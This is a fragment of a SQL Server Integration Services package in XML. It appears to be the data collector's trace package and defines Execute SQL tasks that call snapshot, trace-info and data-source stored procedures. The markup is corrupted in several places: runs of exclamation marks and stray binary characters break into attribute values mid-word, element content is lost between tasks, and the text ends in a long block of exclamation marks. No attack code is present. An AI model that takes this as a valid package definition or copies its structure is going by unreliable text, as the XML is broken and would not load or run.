SQLTask:DtsVariableName="User::TraceStartTime" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="3" SQLTask:DtsVariableName="User::TraceLastEventSequence" SQLTask:ParameterDirection="Output" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="4" SQLTask:DtsVariableName="User::TraceInfoID" SQLTask:ParameterDirection="Output" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SQL - Get snapshot id" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{C316D13F-2EEE-42A1-B307-924555587091}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Get snapshot id" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{6CE046ED-1A7E-4831-864D-EF6FCE30E5A9}" SQLTask:SqlStatementSource="{ call [core].[sp_create_snapshot] (?, ?, ?, ?, ?, ?) }"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::CollectionSetUID" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::CollectorTypeUID" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="4" SQLTask:DtsVariableName="User::LogID" SQLTask:ParameterDirection="Input" SQLTask:DataType="20" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="5" SQLTask:DtsVariableName="User::SnapshotID" SQLTask:ParameterDirection="Output" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="System::MachineName" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="3" SQLTask:DtsVariableName="User::InstanceName" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SQL - Get trace info" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{33CFBECB-7DAD-4256-811D-FED4E423755D}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Get trace info" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{C9A06CAE-CFEE-4A26-BE59-A3A222474CCB}" SQLTask:SqlStatementSource="{call [dbo].[sp_syscollector_get_trace_info](?, ?)}" SQLTask:ResultType="ResultSetType_Si	!!!!!!!!!!!!!!!!!!!!!!!!`4QD^HvngleRow"><SQLTask:ResultBinding SQLTask:ResultName="start_time" SQLTask:DtsVariableName="User::TraceStartTime"/><SQLTask:ResultBinding SQLTask:ResultName="is_running" SQLTask:DtsVariableName="User::TraceIsRunning"/><SQLTask:ResultBinding SQLTask:ResultName="dropped_event_count" SQLTask:DtsVariableName="User::TraceDroppedEventCount"/><SQLTask:ResultBinding SQLTask:ResultName="id" SQLTask:DtsVariableName="User::TraceID"/><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::TraceLocation" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::TraceUseDefault" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SQL - Update data source" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{D8732C3C-BF2D-40C6-BA2E-AF18493924AC}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Update data source" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{6CE046ED-1A7E-4831-864D-EF6FCE30E5A9}" SQLTask:SqlStatementSource="{ call [core].[sp_update_data_source] (?, ?, ?, ?, ?) }"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::CollectionSetUID" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="User::InstanceName" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="3" SQLTask:DtsVariableName="User::DaysUntilExpiration" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="4" SQLTask:DtsVariableName="User::SourceID" SQLTask:ParameterDirection="Output" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="System::MachineName" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\XML - Check use_default attribute" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.XMLTask.XMLTask, Microsoft.SqlServer.XMLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="XML Task" DTS:DTSID="{DB542074-1D89-441B-BA2B-E1E55527C2B8}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.XMLTask.XMLTask, Microsoft.SqlServer.XMLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="XML - Check use_default attribute" DTS:TaskContact="XML Task; Microsoft Corporation; Microsoft SQL Server code name &quot;Katmai&quot;;  2007 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:ObjectData><XMLTaskData OperationType="XPATH" SourceType="Variable" Source="User::InputParameters" SecondOperand="*[local-name() = 'SqlTraceCollector']/@use_default" SaveOperationResult="True" DestinationType="Variable	!!!!!!!!!!!!!!!!!!!!!!!!`4"ϽHveName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property><DTS:Property DTS:EventName="OnWarning" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property></DTS:LoggingOptions><DTS:ObjectData><InnerObject/></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SQL - Get Package Name" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{0B3FB8D2-D701-4844-907E-77BC846D11AD}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Get Package Name" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:ObjectData><SQLTask:SqlTaskData xmlns:SQLTask="www.microsoft.com/sqlserver/dts/tasks/sqltask" SQLTask:Connection="{AEC0A8A9-5B1C-457A-AC2A-02CBC707C18F}" SQLTask:SqlStatementSource="EXEC dbo.sp_syscollector_get_tsql_query_collector_package_ids ?, ?, ? OUTPUT, ? OUTPUT, ? OUTPUT, ? OUTPUT"><SQLTask:ParameterBinding SQLTask:ParameterName="0" SQLTask:DtsVariableName="User::CollectionSetUID" SQLTask:ParameterDirection="Input" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="1" SQLTask:DtsVariableName="User::ItemID" SQLTask:ParameterDirection="Input" SQLTask:DataType="3" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="2" SQLTask:DtsVariableName="User::CollectionPackageUID" SQLTask:ParameterDirection="Output" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="3" SQLTask:DtsVariableName="User::UploadPackageUID" SQLTask:ParameterDirection="Output" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="4" SQLTask:DtsVariableName="User::CollectionPackageName" SQLTask:ParameterDirection="Output" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/><SQLTask:ParameterBinding SQLTask:ParameterName="5" SQLTask:DtsVariableName="User::UploadPackageName" SQLTask:ParameterDirection="Output" SQLTask:DataType="130" SQLTask:ParameterSize="-1"/></SQLTask:SqlTaskData></DTS:ObjectData></DTS:Executable><DTS:Executable DTS:refId="Package\SQL - Record Generated Packages" DTS:CreationName="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:Description="Execute SQL Task" DTS:DTSID="{8C747FF6-E3F0-4455-81D1-4897B3BA140F}" DTS:ExecutableType="Microsoft.SqlServer.Dts.Tasks.ExecuteSQLTask.ExecuteSQLTask, Microsoft.SqlServer.SQLTask, Version=11.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="SQL - Record Generated Packages" DTS:TaskContact="Execute SQL Task; Microsoft Corporation; Microsoft SQL Server v9;  2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1" DTS:ThreadHint="0"><DTS:Variables/><DTS:LoggingOptions DTS:F	!!!!!!!!!!!!!!!!!!!!!!!!`4/H_Hth{>|8^}}~	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
